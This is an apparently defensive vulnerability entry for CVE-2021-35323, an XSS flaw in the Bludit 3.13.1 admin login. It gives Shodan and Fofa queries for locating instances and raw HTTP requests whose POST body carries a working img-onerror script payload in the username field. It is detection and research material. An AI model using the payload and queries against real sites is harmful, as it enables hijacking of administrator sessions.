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CVE-2021-35323: Bludit 3.13.1 - Cross Site Scripting

TitleBludit 3.13.1 - Cross Site Scripting
Authorr3Y3r53
SeverityMedium
ImpactAttackers can inject malicious JavaScript via XSS in the username field, potentially stealing administrator session cookies or performing administrative actions.
RemediationBludit v4.0.0
CVSS Score6.1
EPSS Score0.03031
CVE IDCVE-2021-35323
CWE IDCWE-79
Shodan Querytitle:"Bludit"http.title:"bludit"
Fofa Querytitle="bludit"
Tags cve2021 cve bludit xss vuln

🔍 Vulnerability Description

Cross Site Scripting (XSS) vulnerability exists in bludit 3-13-1 via the username in admin/login

🌐 HTTP Request

GET /bludit/admin/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /bludit/admin/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123
Connection: close
Content-Length: 111
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

tokenCSRF=4wKAMD&username=admin%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&password=pass&save=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-35323.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-35323.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A